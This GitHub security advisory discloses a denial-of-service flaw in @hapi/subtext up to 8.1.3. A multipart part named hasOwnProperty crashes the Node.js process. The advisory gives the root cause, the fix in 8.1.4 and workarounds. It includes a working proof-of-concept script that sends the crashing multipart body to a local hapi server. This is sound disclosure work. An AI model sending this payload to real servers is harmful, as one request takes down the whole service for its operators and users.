Skip to main content
Menu
Advisories

@hapi/subtext multipart part named hasOwnProperty stops the Node.js process

GHSA-GQHJ-6RX5-Q2GJPublished Updated GitHub

Description

A multipart request with a part named hasOwnProperty makes the multipart parser throw an error that no handler catches. The Node.js process stops.

Details

Root cause

The multipart parser keeps the parsed parts in a plain object. To find duplicate names, it calls the hasOwnProperty method on that object:

const set = (name, value) => {

    if (!data.hasOwnProperty(name)) {
        data[name] = value;
    }
    ...
};

The part name comes from the request. A part named hasOwnProperty becomes an own property of the object and replaces the inherited method with a string. The next part makes set() throw TypeError: data.hasOwnProperty is not a function.

For the data, stream and annotated output modes, the error occurs in a promise that the parser does not handle. Node.js stops the process on an unhandled rejection. For the file output mode, the parser rejects with the TypeError. hapi treats a TypeError as a system error, throws it again, and the process stops.

The name __proto__ is not affected, because @hapi/content rejects it before the parser receives the part.

Fix

set() now uses a check that a part name cannot replace:

if (!Object.prototype.hasOwnProperty.call(data, name)) {

A part named hasOwnProperty is now stored as a usual field.

Every release of @hapi/subtext up to and including 8.1.3 is affected. The deprecated unscoped subtext package has the same check in all versions and will not get a fix. @hapi/hapi uses @hapi/subtext through a caret range, so a new install or a lockfile update gets 8.1.4. The next @hapi/hapi release requires ^8.1.4.

Workarounds

Update the lockfile so that @hapi/subtext resolves to 8.1.4 or later. If an update is not possible, disable payload.multipart on all routes that do not need multipart payloads.

Proof of concept

Install @hapi/hapi@21.4.10 and @hapi/subtext@8.1.3, then run this script. The route enables payload.multipart, with the default data output.

'use strict';

const Hapi = require('@hapi/hapi');

const main = async () => {

    const server = Hapi.server({ host: '127.0.0.1' });
    server.route({ method: 'POST', path: '/upload', options: { payload: { multipart: true } }, handler: () => 'ok' });
    await server.start();

    process.on('exit', (code) => console.log('process exit code:', code));

    const body =
        '--X\r\nContent-Disposition: form-data; name="hasOwnProperty"\r\n\r\nv\r\n' +
        '--X\r\nContent-Disposition: form-data; name="f"; filename="a.txt"\r\nContent-Type: text/plain\r\n\r\nhello\r\n' +
        '--X--\r\n';

    const res = await fetch(`${server.info.uri}/upload`, { method: 'POST', body, headers: { 'content-type': 'multipart/form-data; boundary=X' } });
    console.log('response:', res.status, await res.text());
    await server.stop();
};

main();

Output with @hapi/subtext 8.1.3:

process exit code: 1
.../node_modules/@hapi/subtext/lib/index.js:255
            if (!data.hasOwnProperty(name)) {
                      ^
TypeError: data.hasOwnProperty is not a function

Output with @hapi/subtext 8.1.4:

response: 200 ok
process exit code: 0

The process also stops with multipart: { output: 'stream' }, 'annotated' and 'file'.

Impact

This is a denial of service: one request stops the whole Node.js process, and all requests in progress fail. All hapi servers with payload.multipart enabled on at least one route are affected. Upload forms, file imports and avatar uploads are usual examples. The attacker needs no credentials when the route has no authentication, and can send the request again after each restart.

Affected versions

References

GitHub · hapijs/subtext